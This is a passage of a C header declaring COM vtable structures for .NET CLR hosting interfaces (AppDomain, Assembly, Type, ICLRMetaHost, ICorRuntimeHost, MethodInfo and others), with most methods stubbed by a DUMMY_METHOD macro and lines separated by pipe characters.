||||
DUMMY_METHOD(DefineDynamicAssembly_8);
|
||||
DUMMY_METHOD(DefineDynamicAssembly_9);
|
||||
DUMMY_METHOD(CreateInstance);
|
||||
DUMMY_METHOD(CreateInstanceFrom);
|
||||
DUMMY_METHOD(CreateInstance_2);
|
||||
DUMMY_METHOD(CreateInstanceFrom_2);
|
||||
DUMMY_METHOD(CreateInstance_3);
|
||||
DUMMY_METHOD(CreateInstanceFrom_3);
|
||||
DUMMY_METHOD(Load);
|
||||
DUMMY_METHOD(Load_2);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* Load_3)(
|
||||
IAppDomain* This,
|
||||
SAFEARRAY* rawAssembly,
|
||||
IAssembly** pRetVal);
|
||||
|
||||
DUMMY_METHOD(Load_4);
|
||||
DUMMY_METHOD(Load_5);
|
||||
DUMMY_METHOD(Load_6);
|
||||
DUMMY_METHOD(Load_7);
|
||||
DUMMY_METHOD(ExecuteAssembly);
|
||||
DUMMY_METHOD(ExecuteAssembly_2);
|
||||
DUMMY_METHOD(ExecuteAssembly_3);
|
||||
DUMMY_METHOD(FriendlyName);
|
||||
DUMMY_METHOD(BaseDirectory);
|
||||
DUMMY_METHOD(RelativeSearchPath);
|
||||
DUMMY_METHOD(ShadowCopyFiles);
|
||||
DUMMY_METHOD(GetAssemblies);
|
||||
DUMMY_METHOD(AppendPrivatePath);
|
||||
DUMMY_METHOD(ClearPrivatePath);
|
||||
DUMMY_METHOD(SetShadowCopyPath);
|
||||
DUMMY_METHOD(ClearShadowCopyPath);
|
||||
DUMMY_METHOD(SetCachePath);
|
||||
DUMMY_METHOD(SetData);
|
||||
DUMMY_METHOD(GetData);
|
||||
DUMMY_METHOD(SetAppDomainPolicy);
|
||||
DUMMY_METHOD(SetThreadPrincipal);
|
||||
DUMMY_METHOD(SetPrincipalPolicy);
|
||||
DUMMY_METHOD(DoCallBack);
|
||||
DUMMY_METHOD(DynamicDirectory);
|
||||
|
||||
END_INTERFACE
|
||||
} AppDomainVtbl;
|
||||
|
||||
typedef struct _AppDomain {
|
||||
AppDomainVtbl* lpVtbl;
|
||||
} AppDomain;
|
||||
|
||||
#undef DUMMY_METHOD
|
||||
#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAssembly *This)
|
||||
|
||||
typedef struct _AssemblyVtbl {
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
IAssembly* This,
|
||||
REFIID riid,
|
||||
void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
IAssembly* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
IAssembly* This);
|
||||
|
||||
DUMMY_METHOD(GetTypeInfoCount);
|
||||
DUMMY_METHOD(GetTypeInfo);
|
||||
DUMMY_METHOD(GetIDsOfNames);
|
||||
|
||||
DUMMY_METHOD(Invoke);
|
||||
DUMMY_METHOD(ToString);
|
||||
DUMMY_METHOD(Equals);
|
||||
DUMMY_METHOD(GetHashCode);
|
||||
DUMMY_METHOD(GetType);
|
||||
DUMMY_METHOD(CodeBase);
|
||||
DUMMY_METHOD(EscapedCodeBase);
|
||||
DUMMY_METHOD(GetName);
|
||||
DUMMY_METHOD(GetName_2);
|
||||
DUMMY_METHOD(FullName);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* EntryPoint)(
|
||||
IAssembly* This,
|
||||
IMethodInfo** pRetVal);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetType_2)(
|
||||
IAssembly* This,
|
||||
BSTR name,
|
||||
IType** pRetVal);
|
||||
|
||||
DUMMY_METHOD(GetType_3);
|
||||
DUMMY_METHOD(GetExportedTypes);
|
||||
DUMMY_METHOD(GetTypes);
|
||||
DUMMY_METHOD(GetManifestResourceStream);
|
||||
DUMMY_METHOD(GetManifestResourceStream_2);
|
||||
DUMMY_METHOD(GetFile);
|
||||
DUMMY_METHOD(GetFiles);
|
||||
DUMMY_METHOD(GetFiles_2);
|
||||
DUMMY_METHOD(GetManifestResourceNames);
|
||||
DUMMY_METHOD(GetManifestResourceInfo);
|
||||
DUMMY_METHOD(Location);
|
||||
DUMMY_METHOD(Evidence);
|
||||
DUMMY_METHOD(GetCustomAttributes);
|
||||
DUMMY_METHOD(GetCustomAttributes_2);
|
||||
DUMMY_METHOD(IsDefined);
|
||||
DUMMY_METHOD(GetObjectData);
|
||||
DUMMY_METHOD(add_ModuleResolve);
|
||||
DUMMY_METHOD(remove_ModuleResolve);
|
||||
DUMMY_METHOD(GetType_4);
|
||||
DUMMY_METHOD(GetSatelliteAssembly);
|
||||
DUMMY_METHOD(GetSatelliteAssembly_2);
|
||||
DUMMY_METHOD(LoadModule);
|
||||
DUMMY_METHOD(LoadModule_2);
|
||||
DUMMY_METHOD(CreateInstance);
|
||||
DUMMY_METHOD(CreateInstance_2);
|
||||
DUMMY_METHOD(CreateInstance_3);
|
||||
DUMMY_METHOD(GetLoadedModules);
|
||||
DUMMY_METHOD(GetLoadedModules_2);
|
||||
DUMMY_METHOD(GetModules);
|
||||
DUMMY_METHOD(GetModules_2);
|
||||
DUMMY_METHOD(GetModule);
|
||||
DUMMY_METHOD(GetReferencedAssemblies);
|
||||
DUMMY_METHOD(GlobalAssemblyCache);
|
||||
|
||||
END_INTERFACE
|
||||
} AssemblyVtbl;
|
||||
|
||||
typedef enum _BindingFlags {
|
||||
BindingFlags_Default = 0,
|
||||
BindingFlags_IgnoreCase = 1,
|
||||
BindingFlags_DeclaredOnly = 2,
|
||||
BindingFlags_Instance = 4,
|
||||
BindingFlags_Static = 8,
|
||||
BindingFlags_Public = 16,
|
||||
BindingFlags_NonPublic = 32,
|
||||
BindingFlags_FlattenHierarchy = 64,
|
||||
BindingFlags_InvokeMethod = 256,
|
||||
BindingFlags_CreateInstance = 512,
|
||||
BindingFlags_GetField = 1024,
|
||||
BindingFlags_SetField = 2048,
|
||||
BindingFlags_GetProperty = 4096,
|
||||
BindingFlags_SetProperty = 8192,
|
||||
BindingFlags_PutDispProperty = 16384,
|
||||
BindingFlags_PutRefDispProperty = 32768,
|
||||
BindingFlags_ExactBinding = 65536,
|
||||
BindingFlags_SuppressChangeType = 131072,
|
||||
BindingFlags_OptionalParamBinding = 262144,
|
||||
BindingFlags_IgnoreReturn = 16777216
|
||||
} BindingFlags;
|
||||
|
||||
typedef struct _Assembly {
|
||||
AssemblyVtbl* lpVtbl;
|
||||
} Assembly;
|
||||
|
||||
#undef DUMMY_METHOD
|
||||
#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IType *This)
|
||||
|
||||
typedef struct _TypeVtbl {
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
IType* This,
|
||||
REFIID riid,
|
||||
void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
IType* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
IType* This);
|
||||
|
||||
DUMMY_METHOD(GetTypeInfoCount);
|
||||
DUMMY_METHOD(GetTypeInfo);
|
||||
DUMMY_METHOD(GetIDsOfNames);
|
||||
DUMMY_METHOD(Invoke);
|
||||
|
||||
DUMMY_METHOD(ToString);
|
||||
DUMMY_METHOD(Equals);
|
||||
DUMMY_METHOD(GetHashCode);
|
||||
DUMMY_METHOD(GetType);
|
||||
DUMMY_METHOD(MemberType);
|
||||
DUMMY_METHOD(name);
|
||||
DUMMY_METHOD(DeclaringType);
|
||||
DUMMY_METHOD(ReflectedType);
|
||||
DUMMY_METHOD(GetCustomAttributes);
|
||||
DUMMY_METHOD(GetCustomAttributes_2);
|
||||
DUMMY_METHOD(IsDefined);
|
||||
DUMMY_METHOD(Guid);
|
||||
DUMMY_METHOD(Module);
|
||||
DUMMY_METHOD(Assembly);
|
||||
DUMMY_METHOD(TypeHandle);
|
||||
DUMMY_METHOD(FullName);
|
||||
DUMMY_METHOD(Namespace);
|
||||
DUMMY_METHOD(AssemblyQualifiedName);
|
||||
DUMMY_METHOD(GetArrayRank);
|
||||
DUMMY_METHOD(BaseType);
|
||||
DUMMY_METHOD(GetConstructors);
|
||||
DUMMY_METHOD(GetInterface);
|
||||
DUMMY_METHOD(GetInterfaces);
|
||||
DUMMY_METHOD(FindInterfaces);
|
||||
DUMMY_METHOD(GetEvent);
|
||||
DUMMY_METHOD(GetEvents);
|
||||
DUMMY_METHOD(GetEvents_2);
|
||||
DUMMY_METHOD(GetNestedTypes);
|
||||
DUMMY_METHOD(GetNestedType);
|
||||
DUMMY_METHOD(GetMember);
|
||||
DUMMY_METHOD(GetDefaultMembers);
|
||||
DUMMY_METHOD(FindMembers);
|
||||
DUMMY_METHOD(GetElementType);
|
||||
DUMMY_METHOD(IsSubclassOf);
|
||||
DUMMY_METHOD(IsInstanceOfType);
|
||||
DUMMY_METHOD(IsAssignableFrom);
|
||||
DUMMY_METHOD(GetInterfaceMap);
|
||||
DUMMY_METHOD(GetMethod);
|
||||
DUMMY_METHOD(GetMethod_2);
|
||||
DUMMY_METHOD(GetMethods);
|
||||
DUMMY_METHOD(GetField);
|
||||
DUMMY_METHOD(GetFields);
|
||||
DUMMY_METHOD(GetProperty);
|
||||
DUMMY_METHOD(GetProperty_2);
|
||||
DUMMY_METHOD(GetProperties);
|
||||
DUMMY_METHOD(GetMember_2);
|
||||
DUMMY_METHOD(GetMembers);
|
||||
DUMMY_METHOD(InvokeMember);
|
||||
DUMMY_METHOD(UnderlyingSystemType);
|
||||
DUMMY_METHOD(InvokeMember_2);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* InvokeMember_3)(
|
||||
IType* This,
|
||||
BSTR name,
|
||||
BindingFlags invokeAttr,
|
||||
IBinder* Binder,
|
||||
VARIANT Target,
|
||||
SAFEARRAY* args,
|
||||
VARIANT* pRetVal);
|
||||
|
||||
DUMMY_METHOD(GetConstructor);
|
||||
DUMMY_METHOD(GetConstructor_2);
|
||||
DUMMY_METHOD(GetConstructor_3);
|
||||
DUMMY_METHOD(GetConstructors_2);
|
||||
DUMMY_METHOD(TypeInitializer);
|
||||
DUMMY_METHOD(GetMethod_3);
|
||||
DUMMY_METHOD(GetMethod_4);
|
||||
DUMMY_METHOD(GetMethod_5);
|
||||
DUMMY_METHOD(GetMethod_6);
|
||||
DUMMY_METHOD(GetMethods_2);
|
||||
DUMMY_METHOD(GetField_2);
|
||||
DUMMY_METHOD(GetFields_2);
|
||||
DUMMY_METHOD(GetInterface_2);
|
||||
DUMMY_METHOD(GetEvent_2);
|
||||
DUMMY_METHOD(GetProperty_3);
|
||||
DUMMY_METHOD(GetProperty_4);
|
||||
DUMMY_METHOD(GetProperty_5);
|
||||
DUMMY_METHOD(GetProperty_6);
|
||||
DUMMY_METHOD(GetProperty_7);
|
||||
DUMMY_METHOD(GetProperties_2);
|
||||
DUMMY_METHOD(GetNestedTypes_2);
|
||||
DUMMY_METHOD(GetNestedType_2);
|
||||
DUMMY_METHOD(GetMember_3);
|
||||
DUMMY_METHOD(GetMembers_2);
|
||||
DUMMY_METHOD(Attributes);
|
||||
DUMMY_METHOD(IsNotPublic);
|
||||
DUMMY_METHOD(IsPublic);
|
||||
DUMMY_METHOD(IsNestedPublic);
|
||||
DUMMY_METHOD(IsNestedPrivate);
|
||||
DUMMY_METHOD(IsNestedFamily);
|
||||
DUMMY_METHOD(IsNestedAssembly);
|
||||
DUMMY_METHOD(IsNestedFamANDAssem);
|
||||
DUMMY_METHOD(IsNestedFamORAssem);
|
||||
DUMMY_METHOD(IsAutoLayout);
|
||||
DUMMY_METHOD(IsLayoutSequential);
|
||||
DUMMY_METHOD(IsExplicitLayout);
|
||||
DUMMY_METHOD(IsClass);
|
||||
DUMMY_METHOD(IsInterface);
|
||||
DUMMY_METHOD(IsValueType);
|
||||
DUMMY_METHOD(IsAbstract);
|
||||
DUMMY_METHOD(IsSealed);
|
||||
DUMMY_METHOD(IsEnum);
|
||||
DUMMY_METHOD(IsSpecialName);
|
||||
DUMMY_METHOD(IsImport);
|
||||
DUMMY_METHOD(IsSerializable);
|
||||
DUMMY_METHOD(IsAnsiClass);
|
||||
DUMMY_METHOD(IsUnicodeClass);
|
||||
DUMMY_METHOD(IsAutoClass);
|
||||
DUMMY_METHOD(IsArray);
|
||||
DUMMY_METHOD(IsByRef);
|
||||
DUMMY_METHOD(IsPointer);
|
||||
DUMMY_METHOD(IsPrimitive);
|
||||
DUMMY_METHOD(IsCOMObject);
|
||||
DUMMY_METHOD(HasElementType);
|
||||
DUMMY_METHOD(IsContextful);
|
||||
DUMMY_METHOD(IsMarshalByRef);
|
||||
DUMMY_METHOD(Equals_2);
|
||||
|
||||
END_INTERFACE
|
||||
} TypeVtbl;
|
||||
|
||||
typedef struct ICLRRuntimeInfoVtbl
|
||||
{
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
ICLRRuntimeInfo* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [iid_is][out] */
|
||||
__RPC__deref_out void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
ICLRRuntimeInfo* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
ICLRRuntimeInfo* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetVersionString)(
|
||||
ICLRRuntimeInfo* This,
|
||||
/* [size_is][out] */
|
||||
__out_ecount_full_opt(*pcchBuffer) LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD* pcchBuffer);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetRuntimeDirectory)(
|
||||
ICLRRuntimeInfo* This,
|
||||
/* [size_is][out] */
|
||||
__out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD* pcchBuffer);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* IsLoaded)(
|
||||
ICLRRuntimeInfo* This,
|
||||
/* [in] */ HANDLE hndProcess,
|
||||
/* [retval][out] */ BOOL* pbLoaded);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* LoadErrorString)(
|
||||
ICLRRuntimeInfo* This,
|
||||
/* [in] */ UINT iResourceID,
|
||||
/* [size_is][out] */
|
||||
__out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD* pcchBuffer,
|
||||
/* [lcid][in] */ LONG iLocaleID);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* LoadLibrary)(
|
||||
ICLRRuntimeInfo* This,
|
||||
/* [in] */ LPCWSTR pwzDllName,
|
||||
/* [retval][out] */ HMODULE* phndModule);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetProcAddress)(
|
||||
ICLRRuntimeInfo* This,
|
||||
/* [in] */ LPCSTR pszProcName,
|
||||
/* [retval][out] */ LPVOID* ppProc);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetInterface)(
|
||||
ICLRRuntimeInfo* This,
|
||||
/* [in] */ REFCLSID rclsid,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [retval][iid_is][out] */ LPVOID* ppUnk);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* IsLoadable)(
|
||||
ICLRRuntimeInfo* This,
|
||||
/* [retval][out] */ BOOL* pbLoadable);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* SetDefaultStartupFlags)(
|
||||
ICLRRuntimeInfo* This,
|
||||
/* [in] */ DWORD dwStartupFlags,
|
||||
/* [in] */ LPCWSTR pwzHostConfigFile);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetDefaultStartupFlags)(
|
||||
ICLRRuntimeInfo* This,
|
||||
/* [out] */ DWORD* pdwStartupFlags,
|
||||
/* [size_is][out] */
|
||||
__out_ecount_full_opt(*pcchHostConfigFile) LPWSTR pwzHostConfigFile,
|
||||
/* [out][in] */ DWORD* pcchHostConfigFile);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* BindAsLegacyV2Runtime)(
|
||||
ICLRRuntimeInfo* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* IsStarted)(
|
||||
ICLRRuntimeInfo* This,
|
||||
/* [out] */ BOOL* pbStarted,
|
||||
/* [out] */ DWORD* pdwStartupFlags);
|
||||
|
||||
END_INTERFACE
|
||||
} ICLRRuntimeInfoVtbl;
|
||||
|
||||
typedef struct _ICLRRuntimeInfo {
|
||||
ICLRRuntimeInfoVtbl* lpVtbl;
|
||||
} ICLRRuntimeInfo;
|
||||
|
||||
typedef struct _Type {
|
||||
TypeVtbl* lpVtbl;
|
||||
} Type;
|
||||
|
||||
typedef struct ICLRMetaHostVtbl
|
||||
{
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
ICLRMetaHost* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [iid_is][out] */
|
||||
__RPC__deref_out void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
ICLRMetaHost* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
ICLRMetaHost* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetRuntime)(
|
||||
ICLRMetaHost* This,
|
||||
/* [in] */ LPCWSTR pwzVersion,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [retval][iid_is][out] */ LPVOID* ppRuntime);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetVersionFromFile)(
|
||||
ICLRMetaHost* This,
|
||||
/* [in] */ LPCWSTR pwzFilePath,
|
||||
/* [size_is][out] */
|
||||
__out_ecount_full(*pcchBuffer) LPWSTR pwzBuffer,
|
||||
/* [out][in] */ DWORD* pcchBuffer);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* EnumerateInstalledRuntimes)(
|
||||
ICLRMetaHost* This,
|
||||
/* [retval][out] */ IEnumUnknown** ppEnumerator);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* EnumerateLoadedRuntimes)(
|
||||
ICLRMetaHost* This,
|
||||
/* [in] */ HANDLE hndProcess,
|
||||
/* [retval][out] */ IEnumUnknown** ppEnumerator);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* RequestRuntimeLoadedNotification)(
|
||||
ICLRMetaHost* This,
|
||||
/* [in] */ RuntimeLoadedCallbackFnPtr pCallbackFunction);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryLegacyV2RuntimeBinding)(
|
||||
ICLRMetaHost* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [retval][iid_is][out] */ LPVOID* ppUnk);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* ExitProcess)(
|
||||
ICLRMetaHost* This,
|
||||
/* [in] */ INT32 iExitCode);
|
||||
|
||||
END_INTERFACE
|
||||
} ICLRMetaHostVtbl;
|
||||
|
||||
typedef struct _ICLRMetaHost
|
||||
{
|
||||
ICLRMetaHostVtbl* lpVtbl;
|
||||
} ICLRMetaHost;
|
||||
|
||||
typedef struct ICorRuntimeHostVtbl
|
||||
{
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [iid_is][out] */
|
||||
__RPC__deref_out void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
ICorRuntimeHost* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
ICorRuntimeHost* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* CreateLogicalThreadState)(
|
||||
ICorRuntimeHost* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* DeleteLogicalThreadState)(
|
||||
ICorRuntimeHost* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* SwitchInLogicalThreadState)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [in] */ DWORD* pFiberCookie);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* SwitchOutLogicalThreadState)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [out] */ DWORD** pFiberCookie);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* LocksHeldByLogicalThread)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [out] */ DWORD* pCount);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* MapFile)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [in] */ HANDLE hFile,
|
||||
/* [out] */ HMODULE* hMapAddress);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetConfiguration)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [out] */ ICorConfiguration* *pConfiguration);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* Start)(
|
||||
ICorRuntimeHost* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* Stop)(
|
||||
ICorRuntimeHost* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* CreateDomain)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [in] */ LPCWSTR pwzFriendlyName,
|
||||
/* [in] */ IUnknown* pIdentityArray,
|
||||
/* [out] */ IUnknown** pAppDomain);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetDefaultDomain)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [out] */ IUnknown** pAppDomain);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* EnumDomains)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [out] */ HDOMAINENUM* hEnum);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* NextDomain)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [in] */ HDOMAINENUM hEnum,
|
||||
/* [out] */ IUnknown** pAppDomain);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* CloseEnum)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [in] */ HDOMAINENUM hEnum);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* CreateDomainEx)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [in] */ LPCWSTR pwzFriendlyName,
|
||||
/* [in] */ IUnknown* pSetup,
|
||||
/* [in] */ IUnknown* pEvidence,
|
||||
/* [out] */ IUnknown** pAppDomain);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* CreateDomainSetup)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [out] */ IUnknown** pAppDomainSetup);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* CreateEvidence)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [out] */ IUnknown** pEvidence);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* UnloadDomain)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [in] */ IUnknown* pAppDomain);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* CurrentDomain)(
|
||||
ICorRuntimeHost* This,
|
||||
/* [out] */ IUnknown** pAppDomain);
|
||||
|
||||
END_INTERFACE
|
||||
} ICorRuntimeHostVtbl;
|
||||
|
||||
typedef struct _ICorRuntimeHost {
|
||||
ICorRuntimeHostVtbl* lpVtbl;
|
||||
} ICorRuntimeHost;
|
||||
|
||||
#undef DUMMY_METHOD
|
||||
#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IMethodInfo *This)
|
||||
|
||||
typedef struct _MethodInfoVtbl {
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
IMethodInfo* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [iid_is][out] */
|
||||
__RPC__deref_out void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
IMethodInfo* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
IMethodInfo* This);
|
||||
|
||||
DUMMY_METHOD(GetTypeInfoCount);
|
||||
DUMMY_METHOD(GetTypeInfo);
|
||||
DUMMY_METHOD(GetIDsOfNames);
|
||||
DUMMY_METHOD(Invoke);
|
||||
|
||||
DUMMY_METHOD(ToString);
|
||||
DUMMY_METHOD(Equals);
|
||||
DUMMY_METHOD(GetHashCode);
|
||||
DUMMY_METHOD(GetType);
|
||||
DUMMY_METHOD(MemberType);
|
||||
DUMMY_METHOD(name);
|
||||
DUMMY_METHOD(DeclaringType);
|
||||
DUMMY_METHOD(ReflectedType);
|
||||
DUMMY_METHOD(GetCustomAttributes);
|
||||
DUMMY_METHOD(GetCustomAttributes_2);
|
||||
DUMMY_METHOD(IsDefined);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* GetParameters)(
|
||||
IMethodInfo* This,
|
||||
SAFEARRAY** pRetVal);
|
||||
|
||||
DUMMY_METHOD(GetMethodImplementationFlags);
|
||||
DUMMY_METHOD(MethodHandle);
|
||||
DUMMY_METHOD(Attributes);
|
||||
DUMMY_METHOD(CallingConvention);
|
||||
DUMMY_METHOD(Invoke_2);
|
||||
DUMMY_METHOD(IsPublic);
|
||||
DUMMY_METHOD(IsPrivate);
|
||||
DUMMY_METHOD(IsFamily);
|
||||
DUMMY_METHOD(IsAssembly);
|
||||
DUMMY_METHOD(IsFamilyAndAssembly);
|
||||
DUMMY_METHOD(IsFamilyOrAssembly);
|
||||
DUMMY_METHOD(IsStatic);
|
||||
DUMMY_METHOD(IsFinal);
|
||||
DUMMY_METHOD(IsVirtual);
|
||||
DUMMY_METHOD(IsHideBySig);
|
||||
DUMMY_METHOD(IsAbstract);
|
||||
DUMMY_METHOD(IsSpecialName);
|
||||
DUMMY_METHOD(IsConstructor);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* Invoke_3)(
|
||||
IMethodInfo* This,
|
||||
VARIANT obj,
|
||||
SAFEARRAY* parameters,
|
||||
VARIANT* ret);
|
||||
|
||||
DUMMY_METHOD(returnType);
|
||||
DUMMY_METHOD(ReturnTypeCustomAttributes);
|
||||
DUMMY_METHOD(GetBaseDefinition);
|
||||
|
||||
END_INTERFACE
|
||||
} MethodInfoVtbl;
|
||||
|
||||
typedef struct _MethodInfo {
|
||||
MethodInfoVtbl* lpVtbl;
|
||||
} MethodInfo;
|
||||
|
||||
typedef struct ICorConfigurationVtbl
|
||||
{
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
ICorConfiguration* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [iid_is][out] */
|
||||
__RPC__deref_out void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
ICorConfiguration* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
ICorConfiguration* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* SetGCThreadControl)(
|
||||
ICorConfiguration* This,
|
||||
/* [in] */ IGCThreadControl* pGCThreadControl);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* SetGCHostControl)(
|
||||
ICorConfiguration* This,
|
||||
/* [in] */ IGCHostControl* pGCHostControl);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* SetDebuggerThreadControl)(
|
||||
ICorConfiguration* This,
|
||||
/* [in] */ IDebuggerThreadControl* pDebuggerThreadControl);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* AddDebuggerSpecialThread)(
|
||||
ICorConfiguration* This,
|
||||
/* [in] */ DWORD dwSpecialThreadId);
|
||||
|
||||
END_INTERFACE
|
||||
} ICorConfigurationVtbl;
|
||||
|
||||
typedef struct _ICorConfiguration
|
||||
{
|
||||
ICorConfigurationVtbl* lpVtbl;
|
||||
}ICorConfiguration;
|
||||
|
||||
typedef struct IGCThreadControlVtbl
|
||||
{
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
IGCThreadControl* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [iid_is][out] */
|
||||
__RPC__deref_out void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
IGCThreadControl* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
IGCThreadControl* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* ThreadIsBlockingForSuspension)(
|
||||
IGCThreadControl* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* SuspensionStarting)(
|
||||
IGCThreadControl* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* SuspensionEnding)(
|
||||
IGCThreadControl* This,
|
||||
DWORD Generation);
|
||||
|
||||
END_INTERFACE
|
||||
} IGCThreadControlVtbl;
|
||||
|
||||
typedef struct _IGCThreadControl
|
||||
{
|
||||
IGCThreadControlVtbl* lpVtbl;
|
||||
}IGCThreadControl;
|
||||
|
||||
typedef struct IGCHostControlVtbl
|
||||
{
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
IGCHostControl* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [iid_is][out] */
|
||||
__RPC__deref_out void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
IGCHostControl* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
IGCHostControl* This);
|
||||
|
||||
